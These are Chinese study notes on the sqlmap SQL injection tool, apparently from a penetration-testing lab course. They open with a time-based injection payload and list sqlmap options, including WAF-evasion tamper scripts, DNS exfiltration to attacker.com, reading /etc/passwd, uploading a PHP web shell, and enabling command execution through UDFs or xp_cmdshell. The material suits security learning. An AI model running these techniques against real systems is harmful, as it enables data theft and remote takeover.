' and (select * from(select(sleep(20)))a)--+
;
堆叠多个查询语句基于python2.7开发(2015)
安装
apt-get install git
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
升级
sqlmap --update 在线
git pull 离线
Kali集成版随kali库更新
Metasploitable:172.16.2.65
Web application:Mutillidae
kali linux:172.16.2.63
1. 查看功能参数
sqlmap -h /-hh
-h 仅简单的功能参数 -hh所有的功能参数
2. 功能参数类型:
Target:指定目标
Request
Optimization:性能优化
Injection
Detection
Techniques
Enumeration
Operating system access
General
Miscellaneous
Target:指定目标
-d 另外打开一个连接作为数据库客户端程序连接服务器
-u 指定一个URL让sqlmap去扫
-l 逐个url来自burp或者webscarab代理的日志文件检测是否有可利用的注入点
-m 把多个url保存成文本文件通过-m提交给sqlmap
-r 可以把http的请求头信息提交给sqlmap
-g 使用google+正则表达式
-c 把多个让sqlmap执行的命令保存成配置文件
sql注入基于http协议,http协议的各种头以及通过http上传到服务器数据的内容就是request这一类型的参数作用所在。
两种提交post请求的方法:1.BurpSuite代理生成的log文件 2.BupSuite把提交过程中生成的http头信息以及数据段的信息都复制出来放到文本类文件中。
数据段 -data
get / post都适用
get方法:输入的值包含在url地址里
参数提交部分放到--data里
get方式可把?后的内容放到--data中
sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" -f
变量分隔符: --param-del
有些web application在提交数据时不使用&来分隔多个变量名称,有可能使用;
使用--param-del告诉sqlmap正在检查的url中用;代替&
sqlmap -u "http://1.1.1.1/a.php" -data="q=foo;id=1" --param-del=";" -f
cookie头 --cookie
web应用需要基于cookie的身份认证
检查cookie中的注入点(sqlmap自动测试) level>=2才会检查cookie中是否存在注入点
set-cookie/--drop-set-cookie sqlmap发现服务器set了新的cookie,提示是否使用新的cookie
sqlmap -u "" --cookid="" --dbs --level 2
--user-agent
默认情况下格式为:sqlmap/1.0-dev-xxxxxxxxxx(http://sqlmap.org)
--random-agent 随机使用user-agent,有字典文件
所有user-agent保存在 /usr/share/sqlmap/txt/user-agents.txt字典中
启动wireshark抓包右键追踪tcp流可见user-agent。
发现sqlmap去扫描目标服务器什么都发现不了,但是手工提交可以成功,
有理由怀疑目标系统上包含WAF/IDS等过滤异常的机制。
Host头: --host
只有最高扫描级别--level 5才会检查host头中是否存在sql注入漏洞
Referer头: --referer
level >=3
从一个页面点到另一个页面的链接请求中会有referer头
额外的header(自定义): --headders
每个头单独一行(名称区分大小写)
sqlmap -u " " --headers="Host:www.abc.com\nUser-Agent:122"
限定使用get/post方法: --method
--method=POST/GET
基于HTTP协议的身份验证 --auth-type / --auth-cred
- Basic
- Digest
- NTLM
- sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type Basic --auth-cred "user:pass"
--auth-type身份认证类型 --auth-cred账号密码
基于客户端证书认证(少见)
--auth-file="ca.PFM"
含有私钥的PEM格式证书文件
PEM格式的证书链文件
http(s) 代理
--proxy="http://127.0.0.1:8087"
--proxy-cred="name:pass"
--ignore-proxy 忽略系统级代理设置,通常用于扫描本地网络目标
--delay
发送请求量过于巨大可能触发WAF等机制被过滤掉。
设置每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟。
--timeout
请求超时时间,浮点数,默认为30秒
--retries
http(s)连接超时重试次数,默认3次
--randomize
长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
--scope
过滤日志内容,通过正则表达式筛选扫描对象
sqlmap -l burp.log --scope="(www)?\.target\.(com|net|org) "
sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs
User-agent中的注入点
--safe-url / --safe-freq
检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session
每发送--safe-freq次注入请求后,发送一次正常请求
--skip-urlencode
默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据
--eval
每次请求前执行指定的python代码
每次请求更改或增加新的参数值(时间依赖、其他参数依赖)
sqlmap -u "http://1.1.1.1/a.php?id=1&hash=hhfhgjkdhgjgfjdsghjdfghsjdfhgjdfghd" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
--predict-output
根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
版本名、用户名、密码、Privileges(优先级、特权)、role、数据库名称、表明、列名
与--threads参数不兼容
统计表: /usr/share/sqlmap/txt/common-outputs.txt
--keep-alive
使用http(s)长连接,性能好
与--proxy参数不兼容
长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
--null-connection
只获取相应页面的大小值,而非页面具体内容
通常用于盲注判断 真/假,降低网络带宽消耗
与--text-only参数不兼容(基于页面内容的比较判断 真/假)
--threads
最大并发线程
盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
默认值为1,建议不要超过10,否则可能影响站点可用性
与--predict-output参数不兼容
-P
指定 扫描的参数,使--level失效
-p "user-agent,referer"
--skip
排除指定的扫描参数
--level=5 --skip="id,user-agent"
URI注入点
人工判断哪个是变量值在其后添加*
URI是个大概念,URL、URN都是URI的具体实现
sqlmap -u "http://targeturl/paraml/valuel*/param2/value2/"
--dbms
通过其他手段已经知道数据库管理系统的版本
--dbms="mysql"
MySQL<5.0>
Oracle<11>
...
--os
Linux
Windows
--invalid-bignum / --invalid-logical
通常sqlmap使用负值使参数取值失效 id=13 -> id=-13
bignum使用大数使参数失效 id=9999999999
Logical使用布尔判断使取值失效 id=13 AND 18=19
--no-cast
榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
老版本mysql数据库需要开启此开关
--no-escape
出于混淆和避免出错的目的,payload中用单引号界定字符串时,
sqlmap使用char()编码逃逸的方法替换字符串
select 'foo' -> select char(102)+char(111)+char(111)
本参数将关闭此功能
--prefix / --suffix
--tamper
混淆脚本,用于绕过应用层过滤、IPS、WAF。好几十个已经编写好的用来绕过的脚本存储在
/usr/share/sqlmap/tamper
sqlmap -u "http://1.1.1.1/a.php?id=1" --tamper="between.py,randomcase.py"
--level
1-5级(默认1级)
/usr/share/sqlmap/xml/payloads 每个级别的区别
--risk
1-4(默认1/无害)
risk升高可造成数据被篡改等风险(update)
--string,--not-string,--regexp,--code,----text-only,--titles
页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,
但有些页面随时间阈值变化,此时需要认为指定标识真假的字符串。
检测sql漏洞存在的技术类型
默认使用全部技术
B:Boolean-based blind
E:Error-based
U:Union query-based
S:Stacked queries(文件系统、操作系统、注册表必须)
T:Time-based blind
--time-sec
基于时间的注入检测相应延迟时间(默认5秒)
--union-cols
默认联合查询1-10列,随--level增加最多支持50列
--union-cols 6-9
--union-char
联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动执行数值
--union-char 123
--dns-domain
攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
--dns-doamin attacker.com
--second-order
在一个页面注入的结果,从另一个页面体现出来
--second-order http://1.1.1.1/b.php
指纹信息
-f,--fingerprint,-b,--banner
数据库管理系统指纹信息
DBMS,操作系统,架构,补丁
前提:当前数据库管理系统用户可以读取数据库schema信息
--current-user
查询当前数据库管理系统的账号
--current-db
--hostname
--users
--privileges -U username
查询当前用户在数据库管理系统中的特权
--roles
数据库中的角色
--dbs
查都有哪些数据库
--tables,--exclude-sysdbs -D dvwa
-T users -D dvwa -C user --columns
--count
查询表中有几条记录
--schema --batch --exclude-sysdbs元数据(使用默认选项)
查询数据库的表结构
Dump数据
--dump,-C,-T,-D,--start,--stop
--dump-all --exclude-sysdbs
Mysql < 5.0 没有information_schema库
Mysql >= 5.0,但无权读取information_schema库
微软的Access数据库,默认无权读取MSysObjuects库
--common-tables
--common-columns (Access系统表无列信息)
用户自定义函数
--udf-inject,--shared-lib
编译共享库创建并上传至DB Server,以此生成UDF实现高级注入
Linux:shared object
Windows:DLL
--file-read="/etc/passwd"
--file-write="shell.php" --file-dest"/tmp/shell.php"
Mysql、postgresql
上传共享库并生成sys_exec()、sys_eval()两个UDF
Mssql
xp_cmdshell存储过程(有就用,禁了启,没有建)
--reg-read
--reg-add
--reg-del
--reg-key、--reg-value、--reg-data、--reg-type
-s sqlite会话文件保存位置
-t 记录流量文件保存位置
--charset 强制字符编码
--charset=GBK
--crawl 从起始位置爬站深度
--batch --crawl=3
--csv-del dump数据默认存于","分割的csv文件中,指定其他分隔符
--csv-del=";"
--dbms-cred 指定数据库账号
--flush-session 清空session
--force-ssl
--fresh-queries 忽略session查询结果
--hex dump非ASCII字符内容时,将其编码为16进制形式,收到后解码还原
--output-dir=/tmp
--parse-errors 分析和现实数据库内建报错信息
--save 将命令保存成配置文件
-z 参数助记符(感觉有点鸡肋)
用双引号将需要的参数简写进去
--answer 告诉sqlmap不同的问题不同的回答,可结合--batch
--check-waf 检测WAF/IPS/IDS
-hpp HTTP parameter pollution
绕过WAF/IPS/IDS的有效方法
尤其对ASP/IIS和ASP.NET/IIS
--identify-waf 彻底的WAF/IPS/IDS检查
--mobile 模拟智能手机设备
--purge-output 清除output文件夹
--smart 当有大量检测目标时,只选择基于错误的检测结果
--wizard 向导模式实现一个基本的sql注入
功能很强大,参数很多,需要多实践掌握做到心中有数。